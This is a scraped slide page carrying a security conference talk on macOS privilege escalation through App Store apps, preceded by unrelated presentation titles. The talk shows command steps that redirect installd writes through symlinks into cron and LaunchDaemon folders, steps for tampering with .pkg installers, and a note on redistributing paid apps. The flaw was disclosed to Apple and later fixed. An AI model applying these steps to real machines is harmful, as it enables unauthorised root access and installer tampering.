A Domino Admins Adventures (Engage 2024)
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 

Getting root with benign app store apps vsecurityfest

  • 1. macOS - getting root with benign App Store apps Csaba Fitzl Twitter: @theevilbit
  • 2. whoami • red teamer, ex blue teamer • kex - kernel exploitation python toolkit • husband, father • hiking • yoga
  • 4. agenda • dylib hijacking recap • subverting the installation process • developing an App • High Sierra privilege escalation • modifying installers • redistributing paid apps • Mojave privilege escalation
  • 7. type 1: weak loading of dylibs • LC_LOAD_WEAK_DYLIB function: • let’s try to load the specified dylib • dylib not found? -> who cares? not a problem! let’s still load that app • exploit: Put there the missing dylib
  • 8. type 2: rpath (run-path dependent) dylibs • function: • let me try to find the dylib on every search @rpath • I will use the first one • exploit: • if the search path points to non existent location: put there your dylib
  • 9. finding vulnerable apps • download Patrick’s DHS • run • profit :) • alternative: start app via CLI • export DYLD_PRINT_RPATHS="1"
  • 11. other cases • Microsoft Office: requires root privileges -> MS: not a security bug • Avira: requires root privileges -> fixed with low priority • many more not fixed for years…
  • 13. application’s folders permission • 2 main scenarios: • the application’s directory is owned by the user • the application’s directory is owned by ‘root’
  • 14. how do we end up there? root user
  • 17. FireEye - Monitor.app • ~Sysinternal’s Procmon • events • process • network • file
  • 18. Objective-See - ProcInfo(Example) • open source process monitoring library • logs: • PID • arguments • signature info • user • etc… 2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start: pid: 32906 path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/ efw_cache_update user: 0 args: ( "/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update", "/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/ BC005493-3176-43E4-A1F0-82D38C6431A3.activeSandbox/Root/Applications/Parcel.app" ) ancestors: ( 9103, 1 ) signing info: { signatureAuthorities = ( "Software Signing", "Apple Code Signing Certification Authority", "Apple Root CA" ); signatureIdentifier = "com.apple.efw_cache_update"; signatureSigner = 1; signatureStatus = 0; } binary: name: efw_cache_update path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/ efw_cache_update attributes: { NSFileCreationDate = "2018-11-30 07:31:32 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2018-11-30 07:31:32 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 493; NSFileReferenceCount = 1; NSFileSize = 43040; NSFileSystemFileNumber = 4214431; NSFileSystemNumber = 16777220; NSFileType = NSFileTypeRegular; } signing info: (null)
  • 19. fs_usage • file system events • extremely detailed
  • 20. bypassing root permissions case #1 - subverting the installation process
  • 21. dropping files in the applications’ folder #1 record folder structure #3 recreate folders #2 delete the app #5 :) #4 reinstall the app
  • 22. dropping files in the applications’ folder • fixed (more on that later) • write to /Applications ~having write access to Program Files in Windows, but: • Windows: Admin MEDIUM -> Admin HIGH *is not* a security boundary • macOS: Admin -> root *is* a security boundary
  • 23. Can I do something else? What about symlinks? intermezzo
  • 24. the discovery: symlinks are followed • installd runs as root • installd follows symlinks • installd drop files where symlink points -> drop files (almost anywhere)
  • 25. dropping App Store files (almost) anywhere #1 record folder structure #2 delete the app #6 :) #5 reinstall the app #4 create symlink ln -s /opt /Applications/Example.app/Contents/MacOS #3 recreate folders /Applications/Example.app/Contents
  • 26. what can’t we do? • write files to SIP protected places • overwrite specific files
  • 27. yes can I get root if I can drop files anywhere?
  • 28. privilege escalation ideas • file in the App Store has the same name as one that runs as root -> replace • file in the App Store app named as root, and it’s a cronjob task -> place into /usr/lib/cron/tabs • if no such files in the App Store -> create your own • write a ‘malicious’ dylib and drop somewhere, where it will be loaded by an App running as root
  • 29. intermezzo Unlikely to find a file in the store I’m lazy, I will just report it to Apple The vetting process will find a malicious App sigh … sigh … sigh try harder will create an App
  • 31. planning • idea: let’s drop a cronjob file • need a valid reason -> crontab editor • need a Developer ID - other than my • language? • SWIFT vs. Objective-C • learn SWIFT (CBT) myFraction = [[Fraction alloc] init];
  • 32. pushing apps to the store • App Store Connect • Bundle ID • Create App • Populate details • Upload via Xcode • Submit
  • 33. the time issue • 1 mistake = cost of ~24 hours • my case: 1st push - wait 24 hours - reject - no proper closing - fix - 2nd push - wait 24 hours - approved - priv esc doesn’t work on Mojave :( - try on High Sierra - minimum OS is Mojave - fix - 3rd push - wait 24 hours - approve - works on High Sierra :)
  • 35. privilege escalation #1 the file we need - root #5 Terminal runs as root #3 install the app #2 follow previous steps to redirect the file cd /Applications/ mkdir "Crontab Creator.app" cd Crontab Creator.app/ mkdir Contents cd Contents/ ln -s /usr/lib/cron/tabs/ Resources #4 create script file cd /Applications/ mkdir Scripts cd Scripts/ echo /Applications/Utilities/Terminal.app/ Contents/MacOS/Terminal > backup-apps.sh chmod +x backup-apps.sh
  • 36. the fix • POC stopped working • never really done proper verification • more details later
  • 37. demo - Crontab Creator & privilege escalation
  • 38. bypassing root permissions case #2 - infecting installers
  • 39. infecting installers • not really a bypass (user has to authenticate) • will break the *.pkg file’s signature (Gatekeeper will block!) • need a way to get the infected *.pkg file to the victim (e.g.: MITM) • breaks the App’s signature - no problem as GateKeeper will not verify (it will verify the pkg only)
  • 40. infecting an installer #1 grab a pkg file #2 unpack the pkg file pkgutil --expand example.pkg myfolder Contents #3 decompress payload tar xvf embedded.pkg/Payload #4 embed your file $ mkdir Example.app/Contents/test $ echo aaaa > Example.app/Contents/test/a #5 recompress find ./Example.app | cpio -o --format odc | gzip -c > Payload #6 move and delete files pkgutil --flatten myfolder/ mypackage.pkg #7 repackage pkg
  • 42. redistribution • grab the pkg from the App Store (AppStoreExtract) • redistribute • will run - no verification • in-app purchases won’t work
  • 44. the improper fix • early 2019 - realise I should do a better verification of the fix • no more access to crontab folder • accidental fix? • still can redirect file write to sensitive locations (e.g.: LaunchDaemons)
  • 45. 2nd poc - StartUp • same approach (example files) • targeting LaunchDameon • send 2nd report to Apple
  • 46. demo - StartUp & privilege escalation
  • 48.
  • 49. Mojave 10.14.5 • does fix the vulnerability in a proper way • deletes your files and then moves the App • can no longer drop files into the App’s folder
  • 52. Credits • icon: Pixel Buddha https://www.flaticon.com/authors/pixel-buddha • dylib hijacking: • Patrick Wardle https://www.virusbulletin.com/virusbulletin/2015/03/ dylib-hijacking-os-x